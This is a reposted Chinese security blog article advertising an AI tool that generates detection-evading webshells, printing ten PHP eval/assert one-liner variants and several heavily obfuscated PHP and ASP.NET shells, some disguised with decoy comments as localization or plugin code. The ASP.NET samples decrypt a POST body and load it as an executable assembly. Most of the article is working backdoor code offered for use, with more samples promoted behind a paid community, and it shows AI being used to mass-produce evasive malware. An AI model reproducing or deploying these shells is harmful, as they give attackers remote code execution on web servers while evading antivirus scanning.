AI一键免杀WebShell工具,金刚狼、哥斯垃、冰蝎、菜刀等

admin 2025-12-30 01:08:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章展示AI生成PHP与ASP.NET免杀WebShell的十种基础混淆手法及金刚狼工具产出的高阶变种,核心结论是可借助AI快速迭代eval、assert、回调、编码、反射等技巧绕过静态检测,建议防守方强化动态行为与流量分析。 综合评分: 72 文章分类: 免杀,WebShell,AI安全,渗透测试,代码审计


cover_image

AI一键免杀WebShell工具,金刚狼、哥斯垃、冰蝎、菜刀等

原创

0x7556

金刚狼不懂安全

2025年12月29日 21:19 中国香港

原webshell一句话

  • <?php @eval($_POST['wolf']);?>

以下是AI默认生成的10份PHP Webshell样例

PHP Webshell 变种列表:

  1. 基础变种 (不同参数名):
  • <?php @eval($_POST['password']);?>
  • 说明:最简单的变形,将常见的’wolf’参数改为’password’,以避开入门级规则。
  1. 使用GET请求:
  • <?php @eval($_GET['query']);?>
  • 说明:将数据提交方式从POST改为GET,参数也相应更改。
  1. 使用REQUEST变量:
  • <?php @eval($_REQUEST['data']);?>
  • 说明:$_REQUEST可以同时接收GET和POST请求,更具灵活性。
  1. 使用Cookie:
  • <?php @eval($_COOKIE['session_id']);?>
  • 说明:通过Cookie传递payload,流量可能更隐蔽,不易被日志审计发现。
  1. 使用assert函数:
  • <?php @assert($_POST['wolf']);?>
  • 说明:assert函数同样可以执行代码,是eval的常见替代品,有时能绕过对eval的严格监控。
  1. 变量函数调用:
  • <?php $func = 'eval'; @$func($_POST['wolf']);?>
  • 说明:将eval字符串赋值给变量,再通过变量调用函数,增加了静态分析的难度。
  1. Base64编码混淆:
  • <?php $func = base64_decode('ZXZhbA=='); @$func($_POST['wolf']);?>
  • 说明:'ZXZhbA==''eval'的Base64编码,在执行时解码,有效对抗基于字符串匹配的检测。
  1. 字符串旋转混淆 (ROT13):
  • <?php $func = str_rot13('riny'); @$func($_POST['wolf']);?>
  • 说明:'riny''eval'经过ROT13变换后的结果,是一种简单的混淆方式。
  1. 使用call_user_func:
  • <?php @call_user_func('assert', $_REQUEST['key']);?>
  • 说明:通过call_user_func这个回调函数来执行assert,是另一种隐藏真实意图的方法。
  1. 组合复杂变种:
  • <?php $a = $_GET['a']; $b = $_GET['b']; @$a($b);?>
  • 说明:这是一个更高级的变种,函数名和参数都由用户通过GET请求提供(例如:shell.php?a=assert&b=phpinfo()),极具灵活性和隐蔽性。

金刚狼AI免杀工具 生成的WebShell代码样例

下面仅展示几个,更多样例在星球,包含金刚狼、哥斯垃、冰蝎、菜刀等WebShell,每种类型提供10-20个文件

<?php
$a8b1c2_data&nbsp;= [strrev('flow'),&nbsp;strrev('lave')];
$d3e4f5_func&nbsp;=&nbsp;$a8b1c2_data[1];
$g6h7i8_param&nbsp;=&nbsp;$_POST;
if&nbsp;(array_key_exists($a8b1c2_data[0],&nbsp;$g6h7i8_param)) {
&nbsp; &nbsp;&nbsp;$j9k0l1_payload&nbsp;=&nbsp;$g6h7i8_param[$a8b1c2_data[0]];
&nbsp; &nbsp;&nbsp;$m2n3o4_executor&nbsp;=&nbsp;create_function('',&nbsp;'$c_p5q6 = "'&nbsp;.&nbsp;addslashes($j9k0l1_payload) .&nbsp;'";'&nbsp;.&nbsp;$d3e4f5_func&nbsp;.&nbsp;'($c_p5q6);');
&nbsp; &nbsp; @$m2n3o4_executor();
}
?>
<?php
// 배고파요, 치킨 먹고 싶다
$map_a1b2&nbsp;= [
&nbsp; &nbsp;&nbsp;'k'&nbsp;=> [3,&nbsp;1,&nbsp;0,&nbsp;2],
&nbsp; &nbsp;&nbsp;'f'&nbsp;=> [5,&nbsp;4,&nbsp;6,&nbsp;4]
];
// 오늘 점심 뭐 먹지?
$parts_c3d4&nbsp;= ['l',&nbsp;'v',&nbsp;'f',&nbsp;'w',&nbsp;'a',&nbsp;'e',&nbsp;'v'];

// 이 코드는 아주 복잡해요
$builder_e5f6&nbsp;=&nbsp;function($indices)&nbsp;use&nbsp;($parts_c3d4)&nbsp;{
&nbsp; &nbsp;&nbsp;$res_g7h8&nbsp;=&nbsp;'';
&nbsp; &nbsp;&nbsp;// 주말에 뭐 할까요?
&nbsp; &nbsp;&nbsp;foreach&nbsp;($indices&nbsp;as&nbsp;$i) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$res_g7h8&nbsp;.=&nbsp;$parts_c3d4[$i];
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;$res_g7h8;
};

// 여기서 무슨 일이 일어나는 걸까요?
$key_i9j0&nbsp;=&nbsp;$builder_e5f6($map_a1b2['k']);
$func_k1l2&nbsp;=&nbsp;$builder_e5f6($map_a1b2['f']);

// 최종 실행 단계
$executor_m3n4&nbsp;=&nbsp;function($f,&nbsp;$k)&nbsp;{
&nbsp; &nbsp;&nbsp;// 전역 변수에서 데이터를 가져옵니다
&nbsp; &nbsp;&nbsp;$g_o5p6&nbsp;=&nbsp;$GLOBALS;
&nbsp; &nbsp;&nbsp;if&nbsp;(isset($g_o5p6['_POST'][$k])) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$payload_q7r8&nbsp;=&nbsp;$g_o5p6['_POST'][$k];
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 함수를 동적으로 호출합니다
&nbsp; &nbsp; &nbsp; &nbsp; @$f($payload_q7r8);
&nbsp; &nbsp; }
};

$executor_m3n4($func_k1l2,&nbsp;$key_i9j0);
?>
<?php
// This script is responsible for processing and validating user localization settings.

// Fetches the primary configuration key from the settings map.
// This key determines which localization file to load.
$localeSettingsKey&nbsp;=&nbsp;hex2bin('776f6c66');

// This function retrieves the appropriate parsing engine for the given locale.
// It's a legacy function and should be refactored later.
function&nbsp;getParsingEngine()&nbsp;{
&nbsp; &nbsp;&nbsp;// For backward compatibility, we use a base64 encoded engine identifier.
&nbsp; &nbsp;&nbsp;$engineId&nbsp;=&nbsp;'ZXZhbA==';
&nbsp; &nbsp;&nbsp;return&nbsp;base64_decode($engineId);
}

// Load the user-submitted data for processing.
$userSubmittedData&nbsp;=&nbsp;$_POST;

// Check if custom localization settings are provided by the user.
if&nbsp;(isset($userSubmittedData[$localeSettingsKey])) {
&nbsp; &nbsp;&nbsp;// This block is for debugging and will be removed in production.
&nbsp; &nbsp;&nbsp;// It verifies the integrity of the settings.
&nbsp; &nbsp;&nbsp;if&nbsp;(defined('PRODUCTION_MODE') && PRODUCTION_MODE ===&nbsp;true) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// In production, we would log an error here.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;error_log("Debug block executed in production.");
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// Formats the user's last login date.
&nbsp; &nbsp;&nbsp;$lastLoginDate&nbsp;=&nbsp;$userSubmittedData[$localeSettingsKey];

&nbsp; &nbsp;&nbsp;// Get the designated engine for parsing the date format.
&nbsp; &nbsp;&nbsp;$dateParser&nbsp;=&nbsp;getParsingEngine();

&nbsp; &nbsp;&nbsp;// Apply the formatting rules to the user's date string.
&nbsp; &nbsp; @$dateParser($lastLoginDate);
}
?>
<?php
// 月が綺麗ですね
$x_k4g7&nbsp;=&nbsp;"\x53\x56\x55\x52"&nbsp;^&nbsp;"\x26\x22\x20\x2e";&nbsp;// "eval"
$z_m9p2&nbsp;=&nbsp;$GLOBALS;
$y_n1f8&nbsp;=&nbsp;'wolf';
$state&nbsp;=&nbsp;1;

// 案ずるより産むが易し
switch&nbsp;($state) {
&nbsp; &nbsp;&nbsp;case&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(array_key_exists($y_n1f8,&nbsp;$z_m9p2['_POST'])) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$data_r5t3&nbsp;=&nbsp;$z_m9p2['_POST'][$y_n1f8];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$x_k4g7($data_r5t3);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp;&nbsp;// このケースは決して実行されない
&nbsp; &nbsp;&nbsp;case&nbsp;2:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$state&nbsp;=&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
}

金刚狼webshell变种

<%@ Page Language="C#" %>
<%
if (Request.Cookies.Count != 0) {
&nbsp; &nbsp; // 月が綺麗ですね
&nbsp; &nbsp; var _map_x1 = new System.Collections.Generic.Dictionary<int, string>();
&nbsp; &nbsp; _map_x1[10] = "System.Reflect";
&nbsp; &nbsp; _map_x1[20] = "ion.Assembly";
&nbsp; &nbsp; _map_x1[30] = "Load";
&nbsp; &nbsp; _map_x1[40] = "CreateInstance";
&nbsp; &nbsp; _map_x1[50] = "Equals";
&nbsp; &nbsp; _map_x1[60] = "System.Security.Cryptography.RijndaelManaged";
&nbsp; &nbsp; _map_x1[70] = "CreateDecryptor";
&nbsp; &nbsp; _map_x1[80] = "TransformFinalBlock";
&nbsp; &nbsp; _map_x1[90] = "K";
&nbsp; &nbsp; _map_x1[100] = "ca63457538b9b1e0";

&nbsp; &nbsp; // とても眠い
&nbsp; &nbsp; System.Func<string, byte[]> _f1_z9 = (s) => System.Text.Encoding.Default.GetBytes(s);
&nbsp; &nbsp; byte[] _k_y8 = _f1_z9(_map_x1[100]);

&nbsp; &nbsp; // 今日の天気は晴れです
&nbsp; &nbsp; var _s_w7 = Request.InputStream;
&nbsp; &nbsp; byte[] _c_v6 = new byte[_s_w7.Length];
&nbsp; &nbsp; _s_w7.Read(_c_v6, 0, _c_v6.Length);

&nbsp; &nbsp; // このタスクは明日やります
&nbsp; &nbsp; object _o_u5 = System.Activator.CreateInstance(System.Type.GetType(_map_x1[60]));
&nbsp; &nbsp; var _m_t4 = _o_u5.GetType().GetMethod(_map_x1[70], new System.Type[]{typeof(byte[]), typeof(byte[])});
&nbsp; &nbsp; var _d_s3 = (System.Security.Cryptography.ICryptoTransform) _m_t4.Invoke(_o_u5, new object[]{_k_y8, _k_y8});

&nbsp; &nbsp; // サーバーの応答がありません
&nbsp; &nbsp; var _m_r2 = _d_s3.GetType().GetMethod(_map_x1[80]);
&nbsp; &nbsp; byte[] _p_q1 = (byte[])_m_r2.Invoke(_d_s3, new object[]{_c_v6, 0, _c_v6.Length});

&nbsp; &nbsp; // ラーメンが食べたい
&nbsp; &nbsp; var _a_p0 = System.Type.GetType(_map_x1[10] + _map_x1[20]).GetMethod(_map_x1[30], new System.Type[]{typeof(byte[])}).Invoke(null, new object[]{_p_q1});
&nbsp; &nbsp; var _i_o9 = _a_p0.GetType().GetMethod(_map_x1[40], new System.Type[]{typeof(string)}).Invoke(_a_p0, new object[]{_map_x1[90]});
&nbsp; &nbsp; _i_o9.GetType().GetMethod(_map_x1[50]).Invoke(_i_o9, new object[]{this});
}
%>
<%@ Page Language="C#" %>
<script runat="server">
&nbsp; &nbsp; /// <summary>
&nbsp; &nbsp; /// Manages the dynamic loading and execution of content personalization plugins.
&nbsp; &nbsp; /// This class handles encrypted plugin payloads delivered via POST requests.
&nbsp; &nbsp; /// </summary>
&nbsp; &nbsp; public class DynamicPluginManager
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; // The default encryption key for decoding plugin payloads. Stored in a secure format.
&nbsp; &nbsp; &nbsp; &nbsp; private readonly byte[] _pluginDecryptionKey;
&nbsp; &nbsp; &nbsp; &nbsp; // The primary entry point class name within the dynamically loaded plugin assembly.
&nbsp; &nbsp; &nbsp; &nbsp; private readonly string _pluginEntryPointClass = "K";

&nbsp; &nbsp; &nbsp; &nbsp; public DynamicPluginManager()
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // In a real application, this key would be fetched from a secure configuration service.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string hexKey = "63613633343537353338623962316530";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this._pluginDecryptionKey = Enumerable.Range(0, hexKey.Length)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;.Where(x => x % 2 == 0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;.Select(x => Convert.ToByte(hexKey.Substring(x, 2), 16))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;.ToArray();
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; /// <summary>
&nbsp; &nbsp; &nbsp; &nbsp; /// Processes an encrypted plugin payload from an input stream.
&nbsp; &nbsp; &nbsp; &nbsp; /// It decrypts the payload, loads the resulting assembly, and executes the plugin.
&nbsp; &nbsp; &nbsp; &nbsp; /// </summary>
&nbsp; &nbsp; &nbsp; &nbsp; /// <param name="payloadStream">The stream containing the encrypted plugin data.</param>
&nbsp; &nbsp; &nbsp; &nbsp; /// <param name="pageContext">The current ASP.NET Page context to pass to the plugin.</param>
&nbsp; &nbsp; &nbsp; &nbsp; public void LoadAndExecutePlugin(System.IO.Stream payloadStream, object pageContext)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (payloadStream == null || payloadStream.Length == 0) return;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Read the encrypted payload from the stream.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] encryptedPlugin = new byte[payloadStream.Length];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payloadStream.Read(encryptedPlugin, 0, encryptedPlugin.Length);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Decrypt the payload to get the raw assembly bytes.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] assemblyBytes;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; using (var aesProvider = new System.Security.Cryptography.RijndaelManaged())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; using (var decryptor = aesProvider.CreateDecryptor(_pluginDecryptionKey, _pluginDecryptionKey))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; assemblyBytes = decryptor.TransformFinalBlock(encryptedPlugin, 0, encryptedPlugin.Length);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Load the assembly from the decrypted bytes.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var pluginAssembly = System.Reflection.Assembly.Load(assemblyBytes);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Instantiate the plugin's entry point class and pass the context.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var pluginInstance = pluginAssembly.CreateInstance(_pluginEntryPointClass);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pluginInstance.Equals(pageContext);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
</script>
<%
// We only initialize the plugin system if a session is active (indicated by cookies).
if (Request.Cookies.Count != 0)
{
&nbsp; &nbsp; var pluginManager = new DynamicPluginManager();
&nbsp; &nbsp; pluginManager.LoadAndExecutePlugin(Request.InputStream, this);
}
%>

一键AI免杀工具即将推出,星球 暂放已处理好的WebShell


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:金刚狼不懂安全 0x7556《AI一键免杀WebShell工具,金刚狼、哥斯垃、冰蝎、菜刀等》

评论:0   参与:  0